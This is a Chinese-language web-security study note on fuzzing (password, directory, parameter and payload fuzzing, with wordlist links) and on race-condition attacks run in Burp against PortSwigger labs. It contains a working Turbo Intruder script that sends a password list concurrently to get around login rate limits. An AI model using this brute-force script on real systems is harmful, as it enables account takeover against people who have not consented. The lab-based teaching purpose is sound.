Fuzz
是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试
Fuzz的核心思想
- 口令Fuzz(弱口令)
- 目录Fuzz(漏洞点)
- 参数Fuzz(利用参数)
- PayloadFuzz(Bypass)
Fuzz应用场景
- 爆破用户口令
- 爆破敏感目录
- 爆破文件地址
- 爆破未知参数名
- Payload测漏洞(绕过等也可以用)
在实战黑盒中,目标有很多没有显示或其他工具扫描不到的文件或目录等,我们就可以通过大量的字典Fuzz找到的隐藏的文件进行测试。
Fuzz项目
字典下载:
https://wordlists.assetnote.io
https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/danielmiessler/SecLists
fuzz案例
FUZZ JS 文件
网页中找到js文件所在目录,加入到burp的爆破下,使用js字典,查看数据包返回状态码(与扫目录差不多)
FUZZ Rce 文件&参数&值
- 信息搜集:什么站点,asp、php……
- 暴力扫描文件(看状态码):php字典……选择合适的目录文件字典
- 扫描参数(看长度):参数字典
- 值:sql注入语句、xss语句、rce语句、各种payload……
并发
概念
通常发生在多线程或多进程并发执行的环境中。这种漏洞主要源于在并发执行时,由于缺乏适当的同步机制或同步不当,导致多个线程或进程在访问和修改共享资源时出现冲突或不一致的状态
应用场景
包括但不限于点赞、投票、签到、代金券、领积分、获取验证码等

实验
靶场:https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
并发工具:burp插件 Turbo intruder
重放器repeater并发操作
抓到包后千万不要放行

将包发送到重放器,复制若干个包

添加一个组


选择发送方式

选择好后点击发送
最后回到代理页面,关闭抓包

注意,这里不是每个数据包都触发成功的
使用插件 Turbo intruder 进行并发操作
对要并发的数据包右键选择扩展

选择examples/race-single-packet-attack.py脚本模板


错误冷却期 – 绕过速度限制并发爆破
当密码爆破多次错误有冷却时间时,可以采用并发爆破的方式尝试绕过
靶场:https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits
选择数据包 – 右键扩展 – Turbo intruder

脚本:
def queueRequests(target, wordlists):
# as the target supports HTTP/2, use engine=Engine.BURP2 and concurrentConnections=1 for a single-packet attack
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# 自定义密码字典
custom_passwords = [
"123123",
"abc123",
"football",
"monkey",
"letmein",
"shadow",
"master",
"666666",
"qwertyuiop",
"123321",
"mustang",
"123456",
"password",
"12345678",
"qwerty",
"123456789",
"12345",
"1234",
"111111",
"1234567",
"dragon",
"1234567890",
"michael",
"x654321",
"superman",
"1qaz2wsx",
"baseball",
"7777777",
"121212",
"000000"
]
# 或者从文件读取密码(取消注释以下代码并使用)
# with open("/path/to/your/password/list.txt", "r") as f:
# custom_passwords = [line.strip() for line in f.readlines()]
# queue a login request using each password from the wordlist
# the 'gate' argument withholds the final part of each request until engine.openGate() is invoked
for password in custom_passwords:
engine.queue(target.req, password, gate='1')
# once every request has been queued
# invoke engine.openGate() to send all requests in the given gate simultaneously
engine.openGate('1')
def handleResponse(req, interesting):
table.add(req)

本节知识点
WEB攻防-Fuzz技术-盲找&文件&参数&值&项目
WEB攻防-数据并发-条件竞争&应用场景&并发流程
